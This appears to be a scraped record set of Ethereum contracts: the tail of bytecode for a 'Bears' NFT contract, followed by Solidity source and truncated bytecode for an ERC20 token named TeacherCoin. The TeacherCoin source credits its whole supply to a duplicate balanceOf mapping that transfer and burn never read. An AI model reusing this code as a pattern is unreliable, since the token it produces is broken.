00000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114d95780601f106114ae576101008083540402835291602001916114d9565b820191906000526020600020905b8154815290600101906020018083116114bc57829003601f168201915b5050505050905090565b6114eb611d59565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561158c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f4552433732313a20617070726f766520746f2063616c6c65720000000000000081525060200191505060405180910390fd5b8060056000611599611d59565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611646611d59565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405180821515815260200191505060405180910390a35050565b6116aa6116a4611d59565b83611e2f565b6116ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001806133266031913960400191505060405180910390fd5b61170b848484846122a2565b50505050565b606061171c82611d3c565b611771576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f8152602001806132d6602f913960400191505060405180910390fd5b6000600860008481526020019081526020016000208054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561181a5780601f106117ef5761010080835404028352916020019161181a565b820191906000526020600020905b8154815290600101906020018083116117fd57829003601f168201915b50505050509050600061182b611130565b90506000815114156118415781925050506119dd565b6000825111156119125780826040516020018083805190602001908083835b602083106118835780518252602082019150602081019050602083039250611860565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b602083106118d457805182526020820191506020810190506020830392506118b1565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052925050506119dd565b8061191c85612314565b6040516020018083805190602001908083835b60208310611952578051825260208201915060208101905060208303925061192f565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b602083106119a35780518252602082019150602081019050602083039250611980565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052925050505b919050565b600b5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600c60009054906101000a900460ff1681565b611a97611d59565b73ffffffffffffffffffffffffffffffffffffffff16611ab5611417565b73ffffffffffffffffffffffffffffffffffffffff1614611b3e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611bc4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131386026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600001549050919050565b6001816000016000828254019250508190555050565b6000611cba836000018360001b61245b565b905092915050565b6000611cee846000018460001b8473ffffffffffffffffffffffffffffffffffffffff1660001b6124cb565b90509392505050565b600080823b905060008111915050919050565b6060611d1984846000856125a7565b90509392505050565b6000611d34836000018360001b61274f565b905092915050565b6000611d52826002611d2290919063ffffffff16565b9050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611dd4836110f9565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611e2882600001612772565b9050919050565b6000611e3a82611d3c565b611e8f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806131a8602c913960400191505060405180910390fd5b6000611e9a836110f9565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611f0957508373ffffffffffffffffffffffffffffffffffffffff16611ef184610b66565b73ffffffffffffffffffffffffffffffffffffffff16145b80611f1a5750611f1981856119e8565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611f43826110f9565b73ffffffffffffffffffffffffffffffffffffffff1614611faf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806132ad6029913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061315e6024913960400191505060405180910390fd5b612040838383612783565b61204b600082611d61565b61209c81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061278890919063ffffffff16565b506120ee81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020611ca890919063ffffffff16565b5061210581836002611cc29092919063ffffffff16565b50808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000808284019050838110156121e4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b612201816121fc600d611c84565b6127a2565b61220b600d611c92565b50565b600061221d83600001836127c0565b60001c905092915050565b60008060008061223b8660000186612843565b915091508160001c8160001c9350935050509250929050565b806009908051906020019061226a929190613038565b5050565b6000612281846000018460001b846128dc565b60001c90509392505050565b600061229b826000016129d2565b9050919050565b6122ad848484611f23565b6122b9848484846129e3565b61230e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806131066032913960400191505060405180910390fd5b50505050565b6060600082141561235c576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612456565b600082905060005b60008214612386578080600101915050600a828161237e57fe5b049150612364565b60008167ffffffffffffffff8111801561239f57600080fd5b506040519080825280601f01601f1916602001820160405280156123d25781602001600182028036833780820191505090505b50905060006001830390508593505b6000841461244e57600a84816123f357fe5b0660300160f81b8282806001900393508151811061240d57fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a848161244657fe5b0493506123e1565b819450505050505b919050565b60006124678383612bfc565b6124c05782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506124c5565b600090505b92915050565b6000808460010160008581526020019081526020016000205490506000811415612572578460000160405180604001604052808681526020018581525090806001815401808255809150506001900390600052602060002090600202016000909190919091506000820151816000015560208201518160010155505084600001805490508560010160008681526020019081526020016000208190555060019150506125a0565b8285600001600183038154811061258557fe5b90600052602060002090600202016001018190555060009150505b9392505050565b606082471015612602576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806131826026913960400191505060405180910390fd5b61260b85611cf7565b61267d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b602083106126cc57805182526020820191506020810190506020830392506126a9565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d806000811461272e576040519150601f19603f3d011682016040523d82523d6000602084013e612733565b606091505b5091509150612743828286612c1f565b92505050949350505050565b600080836001016000848152602001908152602001600020541415905092915050565b600081600001805490509050919050565b505050565b600061279a836000018360001b612ceb565b905092915050565b6127bc828260405180602001604052806000815250612dd3565b5050565b600081836000018054905011612821576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806130e46022913960400191505060405180910390fd5b82600001828154811061283057fe5b9060005260206000200154905092915050565b600080828460000180549050116128a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061325f6022913960400191505060405180910390fd5b60008460000184815481106128b657fe5b906000526020600020906002020190508060000154816001015492509250509250929050565b600080846001016000858152602001908152602001600020549050600081141583906129a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561296857808201518184015260208101905061294d565b50505050905090810190601f1680156129955780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b508460000160018203815481106129b657fe5b9060005260206000209060020201600101549150509392505050565b600081600001805490509050919050565b6000612a048473ffffffffffffffffffffffffffffffffffffffff16611cf7565b612a115760019050612bf4565b6000612b7b63150b7a0260e01b612a26611d59565b888787604051602401808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612aaa578082015181840152602081019050612a8f565b50505050905090810190601f168015612ad75780820380516001836020036101000a031916815260200191505b5095505050505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051806060016040528060328152602001613106603291398773ffffffffffffffffffffffffffffffffffffffff16611d0a9092919063ffffffff16565b90506000818060200190516020811015612b9457600080fd5b8101908080519060200190929190505050905063150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614925050505b949350505050565b600080836001016000848152602001908152602001600020541415905092915050565b60608315612c2f57829050612ce4565b600083511115612c425782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612ca9578082015181840152602081019050612c8e565b50505050905090810190601f168015612cd65780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b9392505050565b60008083600101600084815260200190815260200160002054905060008114612dc75760006001820390506000600186600001805490500390506000866000018281548110612d3657fe5b9060005260206000200154905080876000018481548110612d5357fe5b9060005260206000200181905550600183018760010160008381526020019081526020016000208190555086600001805480612d8b57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612dcd565b60009150505b92915050565b612ddd8383612e44565b612dea60008484846129e3565b612e3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806131066032913960400191505060405180910390fd5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612ee7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4552433732313a206d696e7420746f20746865207a65726f206164647265737381525060200191505060405180910390fd5b612ef081611d3c565b15612f63576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000081525060200191505060405180910390fd5b612f6f60008383612783565b612fc081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020611ca890919063ffffffff16565b50612fd781836002611cc29092919063ffffffff16565b50808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b828054600181600116156101000203166002900490600052602060002090601f01602090048101928261306e57600085556130b5565b82601f1061308757805160ff19168380011785556130b5565b828001600101855582156130b5579182015b828111156130b4578251825591602001919060010190613099565b5b5090506130c291906130c6565b5090565b5b808211156130df5760008160009055506001016130c7565b509056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e64734552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e7465724f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734552433732313a207472616e7366657220746f20746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c4552433732313a206f70657261746f7220717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76652063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656420666f7220616c6c4552433732313a2062616c616e636520717565727920666f7220746865207a65726f20616464726573734552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656e456e756d657261626c654d61703a20696e646578206f7574206f6620626f756e64734552433732313a20617070726f76656420717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a207472616e73666572206f6620746f6b656e2074686174206973206e6f74206f776e4552433732314d657461646174613a2055524920717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76616c20746f2063757272656e74206f776e65724552433732313a207472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564507572636861736520776f756c6420657863656564206d617820737570706c79206f6620426561727353616c65206d7573742062652061637469766520746f206d696e74204265617273a2646970667358221220bc4db3b4e95e68b8f69cba651656099db36299ddad1c7030190bed875976ccd764736f6c63430007060033
[ 5 ]
0xf32e80276a34cda265f706a576d68ddff3c583d5
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // Teachers Coin token contract // // Deployed to : 0x448858e6DB8E2e72De3593CbeC326dEdBA085A13 // Symbol : TEACH // Name : TeacherCoin // Total supply: 300000000000000000000000000 // Decimals : 18 // ---------------------------------------------------------------------------- contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic is owned { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20 { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // Only unsold tokens will be burned irreversibly // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract DetailedERC20 is BurnableToken { string public name; string public symbol; uint8 public decimals; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; function DetailedERC20() public { balanceOf[msg.sender] = 300000000000000000000000000; totalSupply = 300000000000000000000000000; name = 'TeacherCoin'; symbol = 'TEACH'; decimals = 18; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 */ contract TeacherCoin is DetailedERC20 { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101ca57806323b872dd146101f5578063313ce5671461027a57806342966c68146102ab57806366188463146102d857806370a082311461033d5780638da5cb5b1461039457806395d89b41146103eb578063a9059cbb1461047b578063d73dd623146104e0578063dd62ed3e14610545578063f2fde38b146105bc575b600080fd5b3480156100e157600080fd5b506100ea6105ff565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061069d565b604051808215151515815260200191505060405180910390f35b3480156101d657600080fd5b506101df61078f565b6040518082815260200191505060405180910390f35b34801561020157600080fd5b50610260600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610795565b604051808215151515815260200191505060405180910390f35b34801561028657600080fd5b5061028f610b54565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102b757600080fd5b506102d660048036038101908080359060200190929190505050610b67565b005b3480156102e457600080fd5b50610323600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cbc565b604051808215151515815260200191505060405180910390f35b34801561034957600080fd5b5061037e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f4d565b6040518082815260200191505060405180910390f35b3480156103a057600080fd5b506103a9610f65565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103f757600080fd5b50610400610f8a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610440578082015181840152602081019050610425565b50505050905090810190601f16801561046d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561048757600080fd5b506104c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611028565b604051808215151515815260200191505060405180910390f35b3480156104ec57600080fd5b5061052b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061124c565b604051808215151515815260200191505060405180910390f35b34801561055157600080fd5b506105a6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611448565b6040518082815260200191505060405180910390f35b3480156105c857600080fd5b506105fd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114cf565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106955780601f1061066a57610100808354040283529160200191610695565b820191906000526020600020905b81548152906001019060200180831161067857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107d257600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561082057600080fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108ab57600080fd5b6108fd82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061099282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158690919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a6482600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156d90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610bb757600080fd5b339050610c0c82600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156d90919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c648260015461156d90919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b600080600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610dcd576000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e61565b610de0838261156d90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60066020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110205780601f10610ff557610100808354040283529160200191611020565b820191906000526020600020905b81548152906001019060200180831161100357829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561106557600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110b357600080fd5b61110582600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461156d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061119a82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158690919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006112dd82600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158690919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561152a57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561157b57fe5b818303905092915050565b600080828401905083811015151561159a57f